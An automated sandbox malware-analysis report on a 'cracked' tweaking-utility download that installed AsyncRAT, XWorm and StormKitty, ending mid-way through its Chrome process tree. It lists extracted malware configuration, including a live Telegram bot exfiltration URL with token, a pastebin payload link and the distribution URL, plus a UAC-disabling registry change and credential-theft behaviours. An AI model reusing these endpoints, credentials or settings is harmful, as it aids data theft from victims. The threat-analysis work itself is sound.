asyncrat | hxxps://crackia[.]com/topic/91908-exm-tweaking-utility-premium-v10-cracked/

Resubmissions

29/08/2026, 22:00

260829-1wzp6swwdv5

15/08/2026, 18:26

260815-w3hm1ssajc

13/08/2026, 19:06

260813-xsj9jawhnb

28/09/2024, 22:52

240928-2tlafaseqa10

Analysis

max time kernel
150s
max time network
157s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
28/09/2024, 22:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://crackia.com/topic/91908-exm-tweaking-utility-premium-v10-cracked/
Sample240928-2tlafaseqa

Score

10^/10

asyncrat stormkitty xworm default discovery evasion execution persistence privilege_escalation rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%LocalAppData%
install_file
USB.exe
pastebin_url
https://pastebin.com/raw/ZnhxAV6a
telegram
https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:6606
127.0.0.1:7707
127.0.0.1:8808
https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000100000002a99e-540.dat	family_xworm
behavioral1/memory/3880-591-0x0000000000220000-0x000000000024A000-memory.dmp	family_xworm

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000100000002a99f-568.dat	family_stormkitty
behavioral1/memory/2816-596-0x0000000000800000-0x000000000083E000-memory.dmp	family_stormkitty

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x000100000002a99f-568.dat	family_asyncrat

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe

Executes dropped EXE 4 IoCs

pid	Process
2104	EXMservice.exe
3880	msedge.exe
2816	svchost.exe
4596	msedge.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops desktop.ini file(s) 9 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\d7759a127482d4c9355f359847fcb713\Admin@AAPRWBJV_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Camera Roll\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\d7759a127482d4c9355f359847fcb713\Admin@AAPRWBJV_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Saved Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\d7759a127482d4c9355f359847fcb713\Admin@AAPRWBJV_en-US\Grabber\DRIVE-C\Users\Admin\Downloads\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\d7759a127482d4c9355f359847fcb713\Admin@AAPRWBJV_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\d7759a127482d4c9355f359847fcb713\Admin@AAPRWBJV_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\d7759a127482d4c9355f359847fcb713\Admin@AAPRWBJV_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\d7759a127482d4c9355f359847fcb713\Admin@AAPRWBJV_en-US\Grabber\DRIVE-C\Users\Admin\Downloads\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\d7759a127482d4c9355f359847fcb713\Admin@AAPRWBJV_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\d7759a127482d4c9355f359847fcb713\Admin@AAPRWBJV_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
111	pastebin.com
2	pastebin.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	icanhazip.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 31 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2420	powershell.exe
1708	powershell.exe
3104	powershell.exe
2656	powershell.exe
2752	powershell.exe
2512	powershell.exe
3872	powershell.exe
4516	powershell.exe
3584	powershell.exe
1648	powershell.exe
2220	powershell.exe
4220	powershell.exe
1896	powershell.exe
3408	powershell.exe
2804	powershell.exe
4580	powershell.exe
440	powershell.exe
3584	powershell.exe
4456	powershell.exe
408	powershell.exe
3916	powershell.exe
4728	powershell.exe
276	powershell.exe
4908	powershell.exe
1680	powershell.exe
4520	powershell.exe
2332	powershell.exe
1184	powershell.exe
1900	powershell.exe
4000	powershell.exe
1576	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1740	netsh.exe
2968	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	svchost.exe

Delays execution with timeout.exe 28 IoCs

evasion

pid	Process
2672	timeout.exe
1828	timeout.exe
4668	timeout.exe
3364	timeout.exe
3360	timeout.exe
3972	timeout.exe
4332	timeout.exe
3276	timeout.exe
1932	timeout.exe
1400	timeout.exe
1816	timeout.exe
492	timeout.exe
488	timeout.exe
2956	timeout.exe
2652	timeout.exe
2756	timeout.exe
5076	timeout.exe
2932	timeout.exe
3600	timeout.exe
2732	timeout.exe
3420	timeout.exe
1292	timeout.exe
1728	timeout.exe
1972	timeout.exe
3144	timeout.exe
3508	timeout.exe
1580	timeout.exe
1992	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133720375702281175"	chrome.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\EXM_Premium_Tweaking_Utility_1.0_Cracked.bat:Zone.Identifier	chrome.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2376	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3880	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4052	chrome.exe
4052	chrome.exe
3584	powershell.exe
3584	powershell.exe
3584	powershell.exe
3584	powershell.exe
3584	powershell.exe
2816	svchost.exe
2816	svchost.exe
2816	svchost.exe
2816	svchost.exe
2816	svchost.exe
2816	svchost.exe
2816	svchost.exe
2816	svchost.exe
2816	svchost.exe
2816	svchost.exe
2816	svchost.exe
2816	svchost.exe
2816	svchost.exe
2816	svchost.exe
2816	svchost.exe
2816	svchost.exe
3880	msedge.exe
2816	svchost.exe
2816	svchost.exe
2816	svchost.exe
3880	msedge.exe
3880	msedge.exe
3880	msedge.exe
3880	msedge.exe
3880	msedge.exe
3880	msedge.exe
3880	msedge.exe
3880	msedge.exe
3880	msedge.exe
3880	msedge.exe
3880	msedge.exe
3880	msedge.exe
3880	msedge.exe
3880	msedge.exe
3880	msedge.exe
3880	msedge.exe
3880	msedge.exe
3880	msedge.exe
3408	powershell.exe
3408	powershell.exe
1680	powershell.exe
1680	powershell.exe
1708	powershell.exe
1708	powershell.exe
4220	powershell.exe
4220	powershell.exe
4520	powershell.exe
4520	powershell.exe
2332	powershell.exe
2332	powershell.exe
3104	powershell.exe
3104	powershell.exe
3872	powershell.exe
3872	powershell.exe
1184	powershell.exe
1184	powershell.exe
4456	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe
Token: SeShutdownPrivilege	4052	chrome.exe
Token: SeCreatePagefilePrivilege	4052	chrome.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe
4052	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3880	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4052 wrote to memory of 4552	4052	chrome.exe	78
PID 4052 wrote to memory of 4552	4052	chrome.exe	78
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 3656	4052	chrome.exe	79
PID 4052 wrote to memory of 4792	4052	chrome.exe	80
PID 4052 wrote to memory of 4792	4052	chrome.exe	80
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81
PID 4052 wrote to memory of 2952	4052	chrome.exe	81

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://crackia.com/topic/91908-exm-tweaking-utility-premium-v10-cracked/
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4052
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe9d2bcc40,0x7ffe9d2bcc4c,0x7ffe9d2bcc58
  2⤵
  PID:4552
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1848,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=1844 /prefetch:2
  2⤵
  PID:3656
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2104,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=2112 /prefetch:3
  2⤵
  PID:4792
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2148,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=2348 /prefetch:8
  2⤵
  PID:2952
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3092,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3108 /prefetch:1
  2⤵
  PID:4504
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3104,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3152 /prefetch:1
  2⤵
  PID:396
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4120,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4404 /prefetch:1
  2⤵
  PID:1400
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4560,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4324 /prefetch:1
  2⤵
  PID:3708
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3100,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4116 /prefetch:1
  2⤵
  PID:1388
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4824,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4844 /prefetch:8
  2⤵
  PID:4568
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4884,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4872 /prefetch:1
  2⤵
  PID:4584
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=4144,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3136 /prefetch:1
  2⤵
  PID:3080
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=3468,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4848 /prefetch:1
  2⤵
  PID:1572
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=5176,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4520 /prefetch:1
  2⤵
  PID:872
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=3440,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5280 /prefetch:1
  2⤵
  PID:1292
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=5264,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5296 /prefetch:1
  2⤵
  PID:1580
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=5152,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5672 /prefetch:1
  2⤵
  PID:2660
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5816,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5824 /prefetch:8
  2⤵
  PID:1900
- C:\Program Files\Google\Chrome\Application\chrome.exe
